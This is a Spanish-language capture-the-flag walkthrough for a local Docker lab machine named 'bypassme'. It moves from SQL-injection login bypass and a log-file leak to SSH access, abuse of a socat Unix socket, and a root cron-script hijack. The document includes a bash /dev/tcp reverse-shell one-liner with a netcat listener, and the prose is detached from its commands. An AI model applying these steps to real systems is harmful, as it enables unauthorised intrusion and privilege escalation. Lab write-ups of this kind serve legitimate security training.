Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzipbypassme.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bashauto_deploy.shbypassme.tar
Info:
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
Info:
Vemos que hay un puerto 80 que aloja una pagina web, si entramos en ella veremos un login bastante interesante en el que vamos a probar credenciales por defecto, pero veremos que no funcionan, por lo que vamos a probar a realizar un SQLi a ver si funciona.
Veremos que con eso funciona, por lo que nos mostrara el panel de administracion, pero no veremos nada interesante, si inspeccionamos el codigo veremos lo siguiente:
Por lo que nos indica que hay un archivo log por algun lado, vamos a realizar un poco de fuzzing a ver que encontramos.
Escalate user albert
Gobuster
Info:
Vemos algo muy interesante y es que hay una carpeta llamada logs por lo que podria contener el archivo logs.txt vamos a probarlo de esta forma.
Veremos que nos esta mostrando un 403 por lo que esta restringido, pero si lo ponemos donde el parametro page= para que nos muestre la pagina de esta forma:
Info:
Veremos en las siguientes lienas esto:
Vemos que hubo una autenticacion exitosa con el usuario albert por lo que vamos a probarlo directamente por SSH.
SSH
Metemos como contraseña NGxiM3J0MTIz y veremos que estaremos dentro.
Escalate user conx
Vamos a visualizar los procesos del sistema con un binario llamado pspy64 el cual nos descargaremos desde la maquina host y nos lo pasaremos con un servidor de python3 y con la herramienta wget nos lo descargamos en la maquina victima.
Maquina victima
Una vez que nos lo hayamos descargado, vamos a ejecutarlo de la siguiente forma:
Info:
Nada mas se inicie ya de primeras nos va a resaltar en naranja una cosa bastante interesante que esta en esta linea:
Por lo que vemos se esta realizando un socat ejecutando la bash como el usuario conx, por lo que podremos realizar lo siguiente.
Info:
Vemos que tiene los permisos necesarios para ahora nosotros realizar lo siguiente:
Info:
Ahora vamos a pasarnos una shell un poco mejor de esta forma:
En la maquina host nos ponemos a la escucha antes de lanzar el comando.
Ahora si ejecutamos el comando y volvemos a donde tenemos la escucha veremos lo siguiente:
Vamos a sanitizar la shell de esta forma:
Sanitización de shell (TTY)
Escalate Privileges
Si listamos los crontabs que hay en el sistema veremos esto:
Info:
Vemos que hay uno distinto de lo normal, que no se crea por defecto llamado backup-cron vamos a ver que contiene:
Vemos que ejecuta un .sh, por lo que vamos a ver si pudieramos modificar dicho script con los permisos que tenga.
Info:
Vemos que si podemos por lo que vamos hacer lo siguiente:
Ahora solo tendremos que esperar un rato, despues de esperar si listamos los permisos de la bash veremos lo siguiente:
Info:
Vemos que ha funcionado, por lo que tendremos que realizar lo siguiente:
Info:
Con esto veremos que ya seremos root, por lo que habremos terminado la maquina.
srwxrw-rw- 1 conx conx 0 Jun 6 08:59 /home/conx/.cache/.sock
socat - UNIX-CONNECT:/home/conx/.cache/.sock
whoami
conx
bash -i >& /dev/tcp/<IP>/<PORT> 0>&1
nc -lvnp <PORT>
listening on [any] 7777 ...
connect to [192.168.177.129] from (UNKNOWN) [172.17.0.2] 36954
bash: cannot set terminal process group (52): Inappropriate ioctl for device
bash: no job control in this shell
conx@30c1dad442ff:~$ whoami
whoami
conx
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
ls -la /etc/cron.d/
total 24
drwxr-xr-x 2 root root 4096 May 21 13:58 .
drwxr-xr-x 1 root root 4096 Jun 6 08:59 ..
-rw-r--r-- 1 root root 102 Mar 30 2024 .placeholder
-rw-r--r-- 1 root root 43 May 21 01:36 backup-cron
-rw-r--r-- 1 root root 201 Apr 8 2024 e2scrub_all
-rw-r--r-- 1 root root 712 Jan 18 2024 php
* * * * * root bash /var/backups/backup.sh
ls -la /var/backups/backup.sh
-rw-rw-r-- 1 conx root 246 May 22 15:47 /var/backups/backup.sh